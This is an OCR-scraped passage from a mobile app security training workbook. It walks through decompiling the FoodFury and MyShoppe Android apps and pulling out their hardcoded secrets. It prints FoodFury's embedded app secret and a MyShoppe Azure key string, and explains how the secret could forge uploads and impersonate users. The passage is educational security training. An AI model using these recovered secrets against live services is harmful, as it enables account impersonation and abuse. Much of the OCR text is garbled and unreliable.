When prompted, enter the static password used by Secure NotePad for encrypting note
information (~ENOLIL~). Click OK to continue opening the database file.

31. Browse Database Data

Click on the notes table, then right-click the table name and select Browse Table.
Examine the data in the note field to see the secret information.

The Secure NotePad application took several steps to thwart reverse engineering, but these steps
were no match for careful analysis with Simplify, Jadx, and Android Studio. Through your analysis,
you were able to recover the secret in the notepad. db file. What treasure could possibly await

at the disclosed coordinates?

Congratulations!
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SEC575-3.4: Exercise—Xamarin App Analysis and PhoneGap App Analysis
Objective

Evaluate two mobile applications: MyShoppe, written using the Xamarin platform, and FoodFury,
written using the PhoneGap platform. For each application, use the necessary tools to decompile
and evaluate the application functionality to extract authorization keys and passwords embedded in
the code.

Scenario

In this exercise, you'll build the necessary skills to evaluate apps written using third-party
application development platforms: Xamarin and PhoneGap. First, you'll examine the MyShoppe
application written using Xamarin for small businesses. Next, you'll examine the FoodFury
application written using PhoneGap for foodie social networking. Both apps were retrieved from
the Google Play store and are production applications. Both reveal embedded secrets that can be
extracted with the appropriate reverse engineering and analysis tools.

As a mobile security analyst, you will be called upon to evaluate mobile application security. Your
skills in application analysis cannot be limited to natively developed apps. Having experience and
skills in analyzing applications from other platforms is also necessary to be a successful mobile
security analyst.

Virtual Machines

1. Windows 10
2. SEC575-E01_02: PfSense
3. Kali

PhoneGap Application Analysis: FoodFury

Mike Hottaire is a die-hard foodlie. So much so that it'’s rare for him to complete a meal without
taking a dozen or so photos of his plate. This inevitably leads to his degraded battery life, thus
prompting him to ask you to vet the social network application FoodFury for use on his work phone
as well.

FoodFury is a real application, promoted by Adobe as a top PhoneGap mobile app. For this analysis,
you'll work with a copy of FoodFury retrieved from the Google Play store. Evaluate the application to
identify any key, password, or secret information disclosed in the app. After identifying the sensitive
information disclosure, evaluate the source to determine how the secret could be used to maliciously
manipulate the social networking platform.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with
the password toor.

2. Open Linux Terminal
From the Linux system, open the Terminal application.
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directory for the FoodFury files, then unzip the APK file
d foodfury FoodFury.apk

foodfury
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t
From the Linux terminal, change to the 1abs/third party directory. Create a new
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root@kali:~/labs/third party# unz

ICa

the FoodFury Appli

ip

root@kali:~# cd labs/third party
root@kali:~/labs//third party# mkd

Unz
04

1

3



Applications NS Pldces

root@kali: ~/labs/third_party

File Edit View Search Terminal Help

# cd labs/third party/

# mkdir foodfury
- # unzip -d foodfury FoodFury.apk
Archive: FoodFury.apk
inflating: foodfury/META-INF/MANIFEST.MF
inflatin foodfury/META-INF/FOODFURY.SF
inflating: foodfury/META-INF/FOODFURY.RSA
inflating: foodfury/AndroidManifest.xml
tracting: foodfur ssets/www/bg.mp4

inflating: foodfury/ akfast.html
inflating: foodfury/ foodfury.
inflating: foodfur ww/certs/foodfury.csr
inflating: foodfur ww/certs/foodfury.key
extracting: foodfury/ / v foodfury.keystore
extracting: foodfury/ s/www/certs/foodfur
inflating odfur S 5 /ce /foodfur
inflating: foodfur - v /foodfur

foodfury/ /certs/foodfur
extracting: foodfur s/www/certs/foodfury development.pl2
inflating: foodfury/ Y /C development.pem
inflating: foodfury/assets/w ert fury dist.mobileprovision

tracting foodfury/assets/

inflating: foodfury/assets/www/cordova.js
inflating: foodfury/assets/www/cordo

Identify FoodFury as a PhoneGap Application

PhoneGap applications are recognizable from the use of a directory architecture
assets/www, and specifically the presence of the Cordova code at
assets/www/cordova.js.

Confirm that the FoodFury application is written using the PhoneGap platform by examining
the files in assets/www.

root@kali:~/labs/third party# cd foodfury
root@kali:~/labs/third party/foodfury# cd assets/www
root@kali:~/labs/third party/foodfury/assets/www# ls cordova*

It's essential to confirm the platform that your target application uses for
development prior to starting your analysis. Here, we see the directory structure
assets/www, and furthermore, the JavaScript file cordova. s, which reveals that
FoodFury is written using the PhoneGap platform.
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Applications -

root@kali: ~/labs/third_party/foodfury/assets/www

File Edit View Search Terminal Help
inflating: foodfury/res/layout/com facebook rch_bar_layout.x
inflating: foodfury/ 3 t n f book tooltip bubble.xml
inflating: foodfury/
inflating: foodfury
inflatir foodfury/
inflating: foodfury/
inflating: foodfu
inflating: foodfury rch book contents.x
inflating: foodfury n book contents
inflating: foodfu R book contents list
inflating: foodfury /layout/shar
inflating: foodfury u/capture
inflating foodfury/res/menu/encod
inflating: foodfury/ enu/history.xml
extracting: foodfury
inflating: foodfury/re
inflating: foodfury/
extractir foodfury/
inflating: foodfury/cla
: t # cd foodfury/
y# cd

cordova. cordova plugins.j

Examine JavaScript Files

PhoneGap applications are written using JavaScript, so our primary analysis target for app
security is the content of the JavaScript files. Other media content (including HTML, movie,
and image files) are also disclosed in the APK, but the JavaScript files reveal the application
functionality.

From the assets/www directory, change to the §s directory where PhoneGap stores
JavaScript files. Listing the contents of the directory discloses several files including third-
party library code. For FoodFury, the application-specific code is stored in the
assets/www/js/scripts directory. This is convenient for us, since it provides an easy
starting point for our analysis. List the files in the scripts directory asshown.

root@kali:~/labs/third party/foodfury/assets/www# cd Jjs
root@kali:~/labs/third party/foodfury/assets/www/js# ls
root@kali:~/labs/third party/foodfury/assets/www/js# cd scripts
root@kali:~/labs/third party/foodfury/assets/www/js/scripts# 1ls
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root@kali: ~/labs/third_party/foodfury/assets/www/js/scripts

-
File Edit View Search Terminal Help :

extracting: foodfury/resources.arsc L
inflating: foodfury/classes.dex .
labs/th party# cd foodfury/
i party/foodfury# cd assets/www/
i f w# s cordova*
cordova.js cordova plugins.js .
E abs/third_party/foodfu s/www# cd js .
:~/labs/third_party/foodfury/asset ww/js# 1s *4

barcodescanner.js jquery.endless-scroll.js ﬂ;;;*;;
: : E - = =
billing.js jquery.ferro.ferroMenu-1.0.min.js =
cdv-plugin-fb-connect.js jquery.ferro.ferroMenu.css
codaslider jquery.iphonepicker.js
database.js jquery.iphonepicker.min.js
en_.js jquery.js .
facebookConnectPlugin.js jquery.jscroll.js .
facebook js sdk.js jquery.masonry.min.js .
fancy jquery.min.js
flip jquery.scrollTo.js
font-awesome jquery.transit.min.js
freewall.js jquery-visibility.js
fullcalendar.js lang-all.js
image-picker.css Llib
image-picker.js moment.min.js
img numpick.js
index.js openfb.js
index. txt owlcare
| photoswipe
jquery-1.7.1.min.js PushNotification.js
jquery-2.1.1.js scanner.js
jquery-2.1.4.js scripts
jquery.collagePlus.js style.css
jquery.easytabs.min.js userfunc.js
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w/js# cd scripts/

party/fo ) 5 /www/ ts# 1s
avatar.js grocery.js logweight.js search.js
calendar.js inbox.js main.js sendmsg.js
chrome.js index.js mealplan.js settings.js
development.js init.js memberdata.js status.js
excercisedesigner.js listeners.js notifications.js userdata.js
excercisepage.js logexcercise.js pushnotifications.js viewrecipe.js
feed.js logfood. js recipedesigner.js wholike.js
followdata.js logs.js scrollfunctions.js workoutplan.js

:~/labs/third_party/fo sse js/scr

-
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6. Search for Sensitive Strings

A quick method to identify sensitive strings is to search the PhoneGap sources for keywords
such as pass, key, api, and secret. Since the PhoneGap JavaScript files are ASCII, we can
use the grep utility from the command line to search for multiple case-insensitive strings
using the -i and - arguments.

root@kali:~/labs/third party/foodfury/assets/www/js/scripts# grep -i -
E "pass|key|api|secret" *
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e

root@kali: ~/labs/third_party/foodfury/assets/www/js/scripts

e

File Edit View Search Terminal Help

=

- Labs hird par yodfury/asse

-

i p w/js/scripts# grep -i -E "pass|key|api|secret" *
avatar.js: var data = {userid:userid,image:resp,appsecret:"Saeedkkj1l!"};

avatar.js: url: "http://www.foodfury.com/api/mobile/saveavatar.php”,

calendar.js: url: 'http://www.foodfury.com/api/mobile/calendar/calendar.php',
calendar.js:// url: "http://www.foodfury.com/api/mobile/calendar/getplandata.php"
development.js: url:E & .foodfury.com/api/mobile/profile/weightchart.php”
development.js: url: .foodfury.com/api/mobile/profile/waistchart.php"”,
development.js: url: = .foodfury.com/api/mobile/profile/chestchart.php"”,
development.js: url: "http://www.foodfury.com/api/mobile/profile/armchart.php",
excercisedesigner.js: options.fileKey = "image";

excercisedesigner.js: params.appsecret "Saeedkkjl!";

excercisedesigner.js: ftl.upload(imageURI, "http://www.foodfury.com/api/mobile/logexcercise/uploadexcerciseimage.php”
, winrex, failre

excercisedesigner. url: "http://www.foodfury.com/api/mobile/logexcercise/save.php”,
excercisedesigner.js: url: "http://www.foodfury.com/api/mobile/logexcercise/loadexcercise.php”,
excercisedesigner.js: $.each( excerciseinstructions, function( key, value ) {
excercisepage.js: url: "http://www.foodfury.com/api/mobile/excercises/excercises.ph
excercisepage.j url: "http://www.foodfury.com/api/mobile/excercises/viewexcercise.php
feed.js: options.fileKey "jforml[]";

feed.js: params.appsecret = "Saeedkkjl!";

feed.js: ft.upload(imageURI, "http://www.foodfury.com/api/mobile/feed/postimages.php
feed.js: url: "http://www.foodfury.com/api/mobile/feed/locate.php”,

feed.js: url: "http://www.foodfury.com/api/mobile/feed/getcomments.php"”,

feed.js: url: "http://www.foodfury.com/api/mobile/feed/delcomment.php”,

followdata.js: url: "http://www.foodfury.com/api/mobile/profile/followdata.php”,
grocery.js: url http://www.foodfury.com/api/mobile/profile/getgrocery.php",
grocery.js: url: "http://www.foodfury.com/api/mobile/profile/togglegrocerylist.php”,
grocery.js: url: "http://www.foodfury.com/api/mobile/profile/togglegrocerylist.php”,
inbox.js: url: "http://www.foodfury.com/api/mobile/msg/getinbox.php",

inbox.js: url: "http://www.foodfury.com/api/mobile/profile/updatemsg.php",

inbox.js: url: "http://www.foodfury.com/api/mobile/msg/getmsg.php”,

listeners.js: url: "http://www.foodfury.com/api/mobile/feed/like.php",

listeners.js: url: "http://www.foodfury.com/api/mobile/feed/delpost.php”,

listeners.js: url: "http://www.foodfury.com/api/mobile/feed/reportpost.php"”,
listeners.js url: "http://www.foodfury.com/api/mobile/feed/images.php",

listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changename.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changeabout.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changeemail.php"”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changegoalweight.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changedislikes.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changelikes.php",
listeners.js: "http://www.foodfury.com/api/mobile/profile/changenumberofmeals.php”,
logexcercise.js: $(".searchexcercise").keyup(function (e) {

.

S

R

~N

Identify the Password Disclosure

Examine the output from the prior grep command, identifying the password embedded in
several places in the FoodFury source.
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Applications‘ ) ’ — ; ) | S\ S\
root@kali: ~/labs/third_party/foodfury/assets/www/js/scripts

File Edit View Search Terminal Help

: s/third_party/foodfury/assets/www/js/scripts# grep -i -E "pass|key|api|secret" *
avatar.js: var data = {userid:userid,image:resp,appsecret:"Saeedkkj1l!"};
avatar.js: url: "http://www.foodfury.com/api/mobile/saveavatar.php",
calendar.js: url: 'htt /www. foodfury.com/api/mobile/calendar/calendar.php',
calendar.js:// url: * /www . foodfury.com/a mobile/calendar/getplandata.php",
development.js: urls & ://www.foodfury.com/api/mobile/profile/weightchart.php”,
development.js: urk: = ://www.foodfury.com/api/mobile/profile/waistchart.php”,
development.js: url: * ://www.foodfury.com/api/mobile/profile/chestchart.php”,
development.js: URUISS //www . foodfury.com/api/mobile/profile/armchart.php”,
excercisedesigner.js: options.fileKey = "image";
excercisedesigner.js: params.appsecret = [EEERIISETN:
excercisedesigner.js: ftl.upload(imageURI, "http://www.foodfury.com/api/mobile/logexcercise/uploadexcerciseimage.php”
, winrex, failre
excercisedesigner. url: "http://www.foodfury.com/api/mobile/logexcercise/save.php”,
excercisedesigner. ur "http://www.foodfury.com/api/mobile/logexcercise/loadexcercise.php”,
excercisedesigner.j $.each( excerciseinstructions, function( key, value ) {
excercisepage.js url: "http://www.foodfury.com/api/mobile/excercises/excercises.php”,
excercisepage.js: url: "http://www.foodfury.com/api/mobile/excercises/viewexcercise.php”,
feed.js: options.filekey = "jforml[]";
feed.js: params.appsecret = "Saeedkkjl!";
feed.js: ft.upload(imageURI, "http://www.foodfury.com/api/mobile/feed/postimages.php”, winm, failm,
feed.js: url: "http://www.foodfury.com/api/mobile/feed/locate.php”,
feed.js: url: "http://www.foodfury.com/api/mobile/feed/getcomments.php"”,
feed.js: url: "http://www.foodfury.com/api/mobile/feed/delcomment.php”,
followdata.js: url: "http://www.foodfury.com/api/mobile/profile/followdata.php”,
grocery.js: url: "http://www.foodfury.com/api/mobile/profile/getgrocery.php",
grocery.js: url ttp://www.foodfury.com/api/mobile/profile/togglegrocerylist.php”,
grocery.js: url: "http://www.foodfury.com/api/mobile/profile/togglegrocerylist.php”,
inbox.js: url: "http://www.foodfury.com/api/mobile/msg/getinbox.php",
inbox.js: url: "http://www.foodfury.com/api/mobile/profile/updatemsg.php",
inbox.js: url: "http://www.foodfury.com/api/mobile/msg/getmsg.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/feed/like.php",
listeners.j url http://www.foodfury.com/api/mobile/feed/delpost.php”,
listeners.js: url http://www.foodfury.com/api/mobile/feed/reportpost.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/feed/images.php",
listeners.js: url: ttp://www.foodfury.com/api/mobile/profile/changename.php”,
listeners.j url: "http://www.foodfury.com/api/mobile/profile/changeabout.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changeemail.php"”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changegoalweight.php”,
listeners.js: url: "http://www.foodfury.com/api/mobile/profile/changedislikes.php”,
listeners. url http://www.foodfury.com/api/mobile/profile/changelikes.php",
listeners.js: : "http://www.foodfury.com/api/mobile/profile/changenumberofmeals.php”,

- Lab

8. Identify Files Disclosing Password

Use the grep utility to identify the files that disclose the password information to focus your
analysis. Using grep with the -I (lowercase L) argument displays only the matching
filenames, not the matching text.

root@kali:~/labs/third_party/foodfury/assets/wwwy/js/scripts# grep -l 'Saeedkkj1!" *
Here several files are disclosed that contain the identified password. Next, you need
to evaluate the code where the password is used to evaluate the impact of the
information disclosure threat.
Since the password disclosure includes an exclamation mark, make sure to include

the string in quotes, as shown in the example. The exclamation mark is a shell
metacharacter used for substituting characters for previous commands.
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9. Open recipedesigner.js

Using gedit (or your preferred editor), open the recipedesigner. jsfile. Scroll to line 158
to the password disclosure. Review the JavaScript code briefly. Identify the opportunity for
an attacker to leverage the password disclosure that is represented in the code.

After spending a minute or two looking at the code, click on the Knowledge indicator for this
task to see our analysis.

110

In this example, the code reveals a variable options, which is of type
FileUploadOptions. The FileUploadOptions oObject and the subsequent
FileTransfer class are built-in PhoneGap features that provide a simple interface
for uploading and downloading files over HTTP.

The code also reveals a second object, params, which is used to record other
attributes, including title, userid, and the appsecret. The params object is
referenced in the optionsobject, then used to upload content to the server.

With the password information, an attacker can upload arbitrary content to the
server (or at least JPG files, depending on if the server does any file type receipt
validation). This is likely a low- to medium-risk threat, since the application intends
to allow users to upload images. However, the ability to forge arbitrary userid
values in the file upload could allow an attacker to upload files to other users'
profiles, which would represent a higher risk threat.
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recipedesigner.js
ysithird _party/foodfury/assetsiwww/js/scripts

P

133 function doimageupload()

134 {

135

136 $(".loaderimage").show();

137 results = JSON.parse(localStorage[”results”]);

138

139 newrecipeid = localStorage[“newrecipeid”];

140 userid = localStorage["userid”];

141 title = $('#recipetitel').val();

142 //alert (newrecipeid);

143 var imageURI = results([@];

144 //alert (imageURI);

145 var options = new FileUploadOptions();

146 options.headers = {

147 Connection: “close”

148 }i

149 options.fileKey = "image";

150

151 options.fileName = imageURI.substr(imageURI.lastIndex0f('/') + 1);

152 options.mimeType = "image/ipeg”;

153 var params = new Object();

154 params.newrecipeid = newrecipeid;

155 params.title = title;

156 params.userid = userid;

157 params.lang = "da";

bEE]  params.appsecret = “Saeedkkjll";]

159 options.params = params;

160

161 options.chunkedMode = false;

162 var ftl = new FileTransfer();

163

164

165

166

167 ftl.upload(imageURI, “http://www.foodfury.com/api/mobile/designer/uploadrecipeimage.php”, winre, failre,

168 options);

169

170 }

171

172 function winre(r) {

173 // alert (r.response);

174 $(".loaderimage”) .hide();

JavaScript ¥  Tab Width:8 » Ln 158, Col 1

10. Open sendmsg.js

Close the recipedesigner.js source and open the sendmsg.js file. Review the
JavaScript code briefly. Identify the opportunity for an attacker to leverage the password
disclosure that is represented in the code.

After spending a minute or two looking at the code, click on the Knowledge indicator for this
task to see our analysis.

The sendmsg.js file also discloses password information on line 24. This time,
instead of the FileTransfer object, the password is used in an AJAX request to
POST data to the sendmessage . php website script. The content of the POST body
is declared in the data array, including a member ID, user ID, message, and the
app secret.

Here the ability for an attacker to reuse the app secret and forge an arbitrary
member ID is particularly problematic, since it would allow an attacker to send any
message to any user, impersonating any other user on the system. This likely
represents a high-risk threat to the FoodFury platform.
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| B |

function sendmsg()

{

$.mobile.loading( "show",
theme: "a”,
html: "*

1}

//alert(commentcount);
var msg = $('textarea#sendmsgtext').val();

if(msg === "" || msg === "undefined” || msg === undefined)

sweetAlert("Oops...", “Teksten er tom!", “error");
$.mobile.loading( "hide", {
theme: "a",
html: "
1)
}
else {
userid = localStorage[“userid”];
memberid = localStorage[“memberid”];
var data = {memberid:memberid,userid:userid,body:msg,appsecret: “EITTIASE'"};
$.ajax({
type: "POST",
url: “http://www.foodfury.c om/a;:l/'n.’)l)ﬂt:'/‘nler/t-emllneti‘mge .php*,
data: data,
success: function(html){

sweetAlert("Success”, “din besked er nu sendt!", "success”);

$.mobile.loading( “"hide*, {
theme: “"a",
html: **

3

$('textarea#sendmsgtext').val("");
$('#popupsendmsg') .popup(’'close’', {transition : 'slidedown'});

Your analysis reveals that the FoodFury application uses PhoneGap and, in the process, easily
discloses a fixed password string used in several of the system API calls. The uploadrecipeimage.js
source reveals that the password can be used to upload arbitrary files to the server, which is likely a
low- to medium-risk threat. The use of the password in the sendmsg.js script reveals that you
could forge arbitrary messages from any FoodFury user to any other FoodFury users, which is likely
a high-risk threat to the platform.

Mike Hottaire is understandably disappointed to learn how vuinerable the FoodFury is, but
he is appreciative of your efforts. Congratulations!

Xamarin Application Analysis: MyShoppe

Mike Hottaire is still plenty unhappy about losing his access to the FoodFury network following your
application analysis, but is starting to recognize your prowess at mobile app analysis. Your company
Is looking at adopting a mobile shopping application framework, MyShoppe. He asks you to take a
look at their sample application prior to investing time in rebranding it for your company's needs.

MyShoppe is a real application, promoted by Microsoft as an excellent Xamarin mobile app. For this

analysis, you'll work with a copy of MyShoppe retrieved from the Google Play store. Evaluate the
application to identify any key, password, or secret information disclosed in the app.
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1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with
the password toor. If you are still logged in from the previous exercise, no need to log out

first.
2. Open Linux Terminal

From the Linux system, open the Terminal application. If you have a terminal already open,
run the cd command with no arguments to return to your home directory.

=
e
B
=

root@kali: ~

File Edit View Search Terminal Help
#

-

-
ke
o
i
.
ke

s

-
Laaa
=

-
-

.
-

3. Unzip the MyShoppe Application

From the Linux terminal, change to the 1abs directory. Create a new directory for the
MyShoppe files, then unzip the APK file.

root@kali:~# cd labs/third party

root@kali:labs/third party# mkdir myshoppe
root@kali:labs/third party# unzip -d myshoppe MyShoppe.apk
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root@kali: ~/labs/third_party (O I ]

File Edit View Search Terminal Help
:~# cd labs/third party/
s y# mkdir myshoppe
rty# unzip -d myshoppe MyShoppe.apk

Archive: MyShoppe.apk

inflating: myshoppe/META-INF/MANIFEST.MF

inflating: myshoppe/META-INF/REFRACTO.SF

inflating: myshoppe/META-INF/REFRACTO.RSA

inflating: myshoppe/AndroidManifest.xml

inflating: myshoppe/res/anim/abc fade in.xml

inflating: myshoppe/res/anim/abc_fade out.xml

inflating: myshoppe/res/anim/abc_grow fade in from bottom.

inflating: myshoppe/res/anim/abc popup enter.xml

inflating: myshoppe/res/anim/abc popup exit.xml

inflating: myshoppe/res/anim/abc shrink fade out from bottom.xml

inflating: myshoppe/res/anim/abc slide in bottom.xml

inflating: myshoppe/res/anim/abc slide in top.xml

inflating: myshoppe/res/anim/abc slide out bottom.xml

inflating: myshoppe/res/anim/abc_slide out top.xml

inflating: myshoppe/res/color-vll/abc background cache hint selector material dark.xml

inflating: myshoppe/res/color-vll/abc background cache hint selector material light.xml

inflating: myshoppe/res/color/abc background cache hint selector material dark.xml

inflating: myshoppe/res/color/abc background cache hint selector material light.xml

inflating: myshoppe/res/color/abc primary text disable only material dark.xml

inflating: myshoppe/res/color/abc primary text disable only material light.xml

inflating: myshoppe/res/color/abc primary text material dark.xml

inflating: myshoppe/res/color/abc primary text material light.xml

inflating: myshoppe/res/color/abc search url text.xml

inflating: myshoppe/res/color/abc secondary text material dark.xml

inflating: myshoppe/res/color/abc secondary text material light.xml

inflating: myshoppe/res/color/common_signin btn_text dark.xml

inflating: myshoppe/res/color/common signin btn text light.xml

inflating: myshoppe/res/color/switch thumb material dark.xml

inflating: myshoppe/res/color/switch thumb material light.xml

inflating: myshoppe/res/color/wallet primary text holo light.xml

inflating: myshoppe/res/color/wallet secondary text holo dark.xml
extracting: myshoppe/res/drawable-hdpi-v4/abc ab share pack mtrl alpha.9.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn check to on mtrl 000.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn check to on mtrl ©15.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn radio to on mtrl 000.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn radio to on mtrl 015.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn rating star off mtrl alpha.png
extracting: myshoppe/res/drawable-hdpi-v4/abc btn rating star on mtrl alpha.png
extracting: myshoppe/res/drawable-hdpi switch to on mtrl 060001.9.png

4. Identify MyShoppe as a Xamarin Application

Xamarin applications are recognizable from the presence of a NOTICE file that discloses
that the app was developed using the Xamarin platform.

Confirm that the MyShoppe application is written using the Xamarin platform by examining
the NOTICE file.

root@kali:~/labs# cd myshoppe
root@kali:~/labs/third party/myshoppe# cat NOTICE

It's essential to confirm the platform that your target application uses for
development prior to starting your analysis. Here we see the NOTICE file discloses
the application as developed using Xamarin.
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ily of DLL files using the .NET framework and built to run

Imar

root@kali:~/labs/third party/myshoppe/assemblies# 1s
© 2019 Joshua Wright & NVISO
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Most of the DLLs in MyShoppe's assembliesdirectory are Xamarin platform
libraries, or third-party libraries. For MyShoppe, the MyShop.d11 is a likely

on the Mono platform. List the MyShoppe DLL files in the assembliesdirectory. Looking at
candidate for the application-specific code.

the file listing, identify the DLL that mostly likely contains MyShoppe-specific code.

root@kali:~/labs/third party/myshoppe# cd assemblies

Identify MyShoppe DLLs

Xamarin applicat

5



Applications % ) DX efrinal Thy . i ) O~
- O B

File Edit View Search Terminal Help
labs/third yshoppe# cd assemblies/

:~/labs/third_p yshoppe/assemblies# 1ls
Connectivity.Plugin.Abstractions.dll System.Diagnostics.Tracing.dll
Connectivity.Plugin.dll System.dll
ExternalMaps.Plugin.Abstractions.dll System.Net.Http.dll
ExternalMaps.Plugin.dll System.Net.Http.Extensions.dll
FormsViewGroup.dll System.Net.Http.Primitives.dll
GooglePlayServicesLib.dll System.Reflection.Emit.dll
ImageCircle.Forms.Plugin.Abstractions.dll System.Reflection.Emit.ILGeneration.dll
ImageCircle.Forms.Plugin.Android.dll System.Reflection.Emit.Lightweight.dll
Lotz.Xam.Messaging.Abstractions.dll System.Runtime.Serialization.dll
Lotz.Xam.Messaging.dll System.ServiceModel.dll
Microsoft.windowsAzure.Mobile.dll System.ServiceModel.Security.dll
Microsoft.windowsAzure.Mobile.Ext.dll System.Threading.Timer.dll
Microsoft.windowsAzure.Mobile.SQLiteStore.dll System.Xml.dll
Mono.Android.dll Xamarin.Android.Support.v4.dll
mscorlib.dll Xamarin.Android.Support.v7.AppCompat.dll
MyShop.dll Xamarin.Android.Support.v7.MediaRouter.dll
MyShop.dll.config Xamarin.Forms.Core.dll
MyShop.Droid.dll Xamarin.Forms.Maps.Android.dll
Newtonsoft.Json.dll Xamarin.Forms.Maps.dll
Refractored.Xam.Settings.Abstractions.dll Xamarin.Forms.Platform.Android.dll
Refractored.Xam.Settings.dll Xamarin.Forms.Platform
SQLitePCL.d1l Xamarin.Forms.Xaml.dll
SQLitePCL.Ext.dll Xamarin.Insights.dll
System.Core.dll

labs rd_p y/myshoppe/as

6. Extract ASCII Strings

A simple technique to start your analysis is to run the strings command on a target DLL
and inspect the output for interesting content. Like the FoodFury example, we can filter the
output to identify sensitive strings, such as pass, key, api, and secret.

Use the strings command to retrieve ASCII string information from the DLL, examining some
of the output. Then run the command again, this time piping the output to the grep
command to identify instances of the keywords pass, key, api, and secret.

root@kali:~/labs/third party/myshoppe/assemblies# strings MyShop.dll |
more

root@kali:~/labs/third party/myshoppe/assemblies# strings MyShop.dll |
grep -i -E "pass|key|api|secret"

For the MyShoppe application, a lot of strings are extracted, but none of the strings
match any of our keywords. We could continue to search the output without the
grepfilter for interesting strings, but let's move on to another use of the strings
command.
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Applications

root@kali: ~/labs/third_party/myshoppe/:

File Edit View Search Terminal Help
CompilationRelaxationsAttribute
AssemblyCopyrightAttribute
DependencyAttribute
AssemblyTitleAttribute
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
PropertyName
(MyShop.StoresViewModel+<DeleteStore>d ©
4MyShop.StoresViewModel+<ExecuteGetStoresComman
7MyShop.StoresViewModel+ et GetStoresCommand>b
,MyShop.FeedbackViewModel+<GetStoreAsync>d ©
9MyShop.FeedbackViewModel+<ExecuteSaveFeedbackCommand>d 9
MyShop.FeedbackViewModel+<<get SaveFeedbackCommand>b 3>d 5
%MyShop.FeedbackPage+<OnAppearing>d 2
MyShop.AzureDataStore+<Init>d @
,MyShop.AzureDataStore+<AddFeedbackAsync>d 4
,MyShop.AzureDataStore+<GetFeedbackAsync>d 7
/MyShop.AzureDataStore+<RemoveFeedbackAsync>d b
)MyShop.AzureDataStore+<AddStoreAsync>d e
-MyShop.AzureDataStore+<RemoveStoreAsync>d 11
-MyShop.AzureDataStore+<UpdateStoreAsync>d 14
+MyShop.AzureDataStore+<GetStoresAsync>d 17
,MyShop.AzureDataStore+<SyncStoresAsync>d 1b
/MyShop.AzureDataStore+<SyncFeedbacksAsync>d 1le
WrapNonExceptionThrows
+.NETPortable,Version=v4.5,Profile=Profile78
FrameworkDisplayName
.NET Portable Subset
jamesmontemagno
MyShop.AzureDataStore
MyShoppe
CorDllMain
mscoree.dll

: # strings MyShop.dll | grep -i -E "pass|key|api|secret"

Keyboard="Default"/>
Keyboard="Telephone" />

GroupDisplayBinding="{Binding Key}"
get Key
<Key>k BackingField
set Key
NeedSyncFeedbackKey
LastSyncKey

7. Extract Big-Endian Unicode Strings

Xamarin applications are developed for the .NET platform. Like many applications developed
for .NET, Xamarin applications will contain not only ASCII strings but also Unicode strings.

Use the strings command again, but this time add the -eb argument to strings to extract big-
endian Unicode values.

root@kali:~/labs/third party/myshoppe/assemblies# strings -eb
MyShop.dll

The output of the strings command modified to extract big-endian Unicode values
returns some additional information, including a URL that might not be present in
the standard ASCII strings output. None of this information looks particularly
interesting, though, so let's continue the analysis using strings in a different way.
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root@kali: ~/labs/third_party/myshoppe/:

File Edit View Search Terminal

ickerRating

uttonSubmitFeedback

h oh :(

nable to get locations, don't worry you can still submit feedback.
tores

toreList

.
e

-
-
-
.

-
S
-

e

|
-
.

ttps://myshopapp-code.azurewebsites.net .
ttps://default-web-westusdadee2d042c24c8694b0170bOb122415.azurewebsites.net

uzprBLnPjgcpelTnGlwvidsFZwlRq95

yncstore.db

11Feedbacks

11lStores

ast_sync

eed sync_feedback .
ubtitle E%:Eg%z%%z%
sBusy F
anLoadMore

eed sync feedback
ast_sync

VS VERSION INFO
VarFileInfo
Translation
StringFilelInfo
000004b0O
FileDescription
MyShoppe
Fileversion
1.0.5659.28463
InternalName
MyShop.dll
LegalCopyright
jamesmontemagno

e
g

e
T

.

- OriginalFilename

-
i
S

i

=
-

.
-

MyShop.dll
ProductVersion
1.0.5659.28463
Assembly Version
1.0.5659.28463

e
=
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8. Extract Little-Endian Unicode Strings

Unicode strings can be represented in big-endian or little-endian notation, even in the same

executable (or DLL). Using strings, extract little-endian Unicode strings from the MyShop.dll
binary:

root@kali:~/labs/third party/myshoppe/assemblies# strings -el
MyShop.dll

More string information is revealed when the strings command is used with the -
el argument to retrieve little-endian Unicode values. Near the end of the strings
output is a URL (https://default-web-westusda4ee...) and immediately following is

a 32-character string starting with muzprB.

This value could be a base64 encoded value or something more interesting. Now

that we have a starting point to search for, we can turn to our reverse engineering
tools to identify where this string exists in the MyShop.d11 binary.
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File Edit View Search Terminal Help .
Uh oh :( wg?ﬁ?
Unable to get locations, don't worry you can still submit feedback. .
Stores
StorelList
Store
name .
MainImage .
MyMap
https://myshopapp-code.azurewebsites.net .
https://default-web-westusdad4ee2d042c24c8694b0170bOb122415.azurewebsites.net .
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syncstore.db
allFeedbacks
allstores
last _sync
need sync feedback .
Title *::**::*:
Subtitle %%%E%%
Icon
IsBusy
CanLoadMore
need sync feedback
last sync
VS VERSION INF
VarFileInfo .
Translation
StringFilelInfo
000004b0O
FileDescription
MyShoppe
Fileversion
1.0.5659.28463
InternalName
MyShop.dll
LegalCopyright
jamesmontemagno
OriginalFilename
MyShop.dll
ProductVersion
1.0.5659.28463
Assembly Version
1.0.5659.28463
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9. Switch to the Windows VM
Switch to the Windows VM. If necessary, log in with the username student and the
password student.
10. Unzip MyShoppe.apk

On Windows, navigate to the E:\1ab-files\third party directory. Right-click on the
MyShoppe.apk file, then select 7-Zip | Extract to "MyShoppe/".
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Launch JustDecompile

11

From the Start menu, launch Telerik's JustDecompile tool.
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12. Decompile MyShop.dll

121

d11, then click

\lab-

igate to the E

le(s)....Nav
files\third party\MyShoppe\assemblies directory, select MyShop.
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14. Examine the AzureDataStore Class

